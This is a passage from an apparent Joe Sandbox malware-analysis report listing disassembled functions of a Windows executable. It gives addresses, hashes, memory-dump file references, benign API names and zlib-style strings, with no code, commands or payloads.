                                                                                                                                                                                                                                              • API String ID: 1239891234-0
                                                                                                                                                                                                                                              • Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
                                                                                                                                                                                                                                              • Instruction ID: d406333745ee1e1ff24a6c80008ee2bec2525106f9ed154edec454f913b605cb
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 93315132618B81C6DB60DF25E8402AE73B4FB85758F540235EA9D8BB99DF3DC5458F00
                                                                                                                                                                                                                                              Function 00007FF666DF18E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: FileFindFirst_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2227656907-0
                                                                                                                                                                                                                                              • Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
                                                                                                                                                                                                                                              • Instruction ID: d90a567503dce5d8f736ea363f1339116f0e9fc8c30eff2a7d52fa83fc24144f
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6FB1A672B18692C1EA619B21BC105B9A3B1EB85BE4F445331DE5D8FBC5EE3EE441CB00
                                                                                                                                                                                                                                              Function 00007FF666DDD080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2933794660-0
                                                                                                                                                                                                                                              • Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
                                                                                                                                                                                                                                              • Instruction ID: 837af78228fdcfc93e7bb84750ddec8aeeb4e424544bd6ca61a5dfecd8b2e644
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9D111C26B18F05CAEB00CB60F8552A933B4FB59758F440E31EA6D8A7A4EF79D5648780
                                                                                                                                                                                                                                              Function 00007FF666DF3C80 Relevance: 4.8, APIs: 3, Instructions: 340COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: memcpy_s
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1502251526-0
                                                                                                                                                                                                                                              • Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                                                                                                                                                                                                                              • Instruction ID: 631256d7434b15bca4ce0a4fd65197a623fb27035d7d684026143fb9107b6b8c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: FFC1B172A18686C7E7248F1AB14466AB7A1FBD4784F468235DB4A8B744DF3EED01CB40
                                                                                                                                                                                                                                              Function 00007FF666DDA4E4 Relevance: 4.1, Strings: 3, Instructions: 398COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID: $header crc mismatch$unknown header flags set
                                                                                                                                                                                                                                              • API String ID: 0-1127688429
                                                                                                                                                                                                                                              • Opcode ID: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
                                                                                                                                                                                                                                              • Instruction ID: c3d7711e3cad9fb82442ae9b6ddcbd586f992b676f34500ebc1e5b9b18045d39
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 35F16462A183D5C7E795AF15D088B3A3AB9EF44744F0A8634DA498F790CF3AD541CF40
                                                                                                                                                                                                                                              Function 00007FF666DF9798 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ExceptionRaise_clrfp
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 15204871-0
                                                                                                                                                                                                                                              • Opcode ID: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
                                                                                                                                                                                                                                              • Instruction ID: 7fc05d0f8579c338cf9b14c92d9bc5921c4c58c254f28a9134ddc2765accb859
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 35B11773A04B89CAEB15CF29D4463687BB0F784B48F158A35DA5D8B7A4CF3AD451CB00
                                                                                                                                                                                                                                              Function 00007FF666DE3A14 Relevance: 2.8, Strings: 2, Instructions: 350COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID: $
                                                                                                                                                                                                                                              • API String ID: 0-227171996
                                                                                                                                                                                                                                              • Opcode ID: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
                                                                                                                                                                                                                                              • Instruction ID: e368f3ec9c4ec22ac36af5a242a06e83c445e34aba8a5f199e6a285a00ab839b
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EEE19636A08A86C6EB688E15E15053DB3B0FF45B48F165335DA4E8F6A4DF2BEC51CB40
                                                                                                                                                                                                                                              Function 00007FF666DDA34B Relevance: 2.7, Strings: 2, Instructions: 216COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID: incorrect header check$invalid window size
                                                                                                                                                                                                                                              • API String ID: 0-900081337
                                                                                                                                                                                                                                              • Opcode ID: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
                                                                                                                                                                                                                                              • Instruction ID: 5fe1f55416326c0880244bd3626dcf883871b96629362f8f1789639920294fed
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 42917772A182C6C7E7A59A14E458B3E3AB9FB44354F159239DA5A8E7C0CF3AE540CF40
                                                                                                                                                                                                                                              Function 00007FF666DEDF60 Relevance: 2.6, Strings: 2, Instructions: 144COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID: e+000$gfff
                                                                                                                                                                                                                                              • API String ID: 0-3030954782
                                                                                                                                                                                                                                              • Opcode ID: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
                                                                                                                                                                                                                                              • Instruction ID: edad74199c6dc54dcfaf7df98daf3a918c7f92430be72d1488edddf6a1e5260e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 80513862B186C6C6E7258F36E800769A7A1E784B94F489331CB588FAC5CE3FE4458B00
                                                                                                                                                                                                                                              Function 00007FF666DEDACC Relevance: 1.5, Strings: 1, Instructions: 254COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID: gfffffff
                                                                                                                                                                                                                                              • API String ID: 0-1523873471
                                                                                                                                                                                                                                              • Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
                                                                                                                                                                                                                                              • Instruction ID: 54606fcbee59061af955d488f127209c6a59c24f37e8603baba0c7e7d72944b7
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: ABA11662B087C586EB21CF25B4507A9BBA1AB95BC4F058231DE8D8F785DE3ED501CB01
                                                                                                                                                                                                                                              Function 00007FF666DE8804 Relevance: 1.4, Strings: 1, Instructions: 177COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: TMP
                                                                                                                                                                                                                                              • API String ID: 3215553584-3125297090
                                                                                                                                                                                                                                              • Opcode ID: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
                                                                                                                                                                                                                                              • Instruction ID: eb3ae09a44d85a73f71f6f51d32e46a3fce6b9ea714a165f2165f405d4b7c909
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 56518F11F08682E2FA64AB267D1157AD2B16F84BC4F484335DE0DCF7D6EE3EE4064A44
                                                                                                                                                                                                                                              Function 00007FF666DF34F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: HeapProcess
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 54951025-0
                                                                                                                                                                                                                                              • Opcode ID: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
                                                                                                                                                                                                                                              • Instruction ID: 4864a53ff4ae531998043f55e3a798221c3fa4c696a0a795abe654391a531124
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C1B09220E0BA02C2EA082B217C8221822B47F98700F980238C04C8D330DE3E24E5AB00
                                                                                                                                                                                                                                              Function 00007FF666DE3610 Relevance: .3, Instructions: 327COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
                                                                                                                                                                                                                                              • Instruction ID: d0f97c433f2ab21fab104e2d834fc1342d2052514191fa1e883d3bbd955bcadc
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BAD1B766E08682C5EB688E29A55027DB7B0EB45B48F164335CE0D8F7A5DF3BEC45CB40
                                                                                                                                                                                                                                              Function 00007FF666DD9870 Relevance: .3, Instructions: 287COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                              • Opcode ID: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
                                                                                                                                                                                                                                              • Instruction ID: f7673fc6510b69c0342ddd28083927b5fd60acfbd871ab04946948ddf1fa0642
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6DC1AD762181E08BD289EB29E47947A73E0F78934DB95816BEF874B685CA3CA414DB10
                                                                                                                                                                                                                                              Function 00007FF666DE2C80 Relevance: .2, Instructions: 241COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
